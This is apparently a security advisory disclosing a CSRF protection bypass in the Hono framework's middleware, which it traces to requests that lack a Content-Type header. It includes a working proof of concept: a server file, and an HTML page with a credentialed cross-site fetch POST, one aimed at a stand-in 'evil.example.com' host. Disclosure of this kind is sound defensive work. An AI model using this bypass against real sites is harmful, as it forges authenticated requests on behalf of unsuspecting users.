Hono allows bypass of CSRF Middleware by a request without Content-Type header.

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)

<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.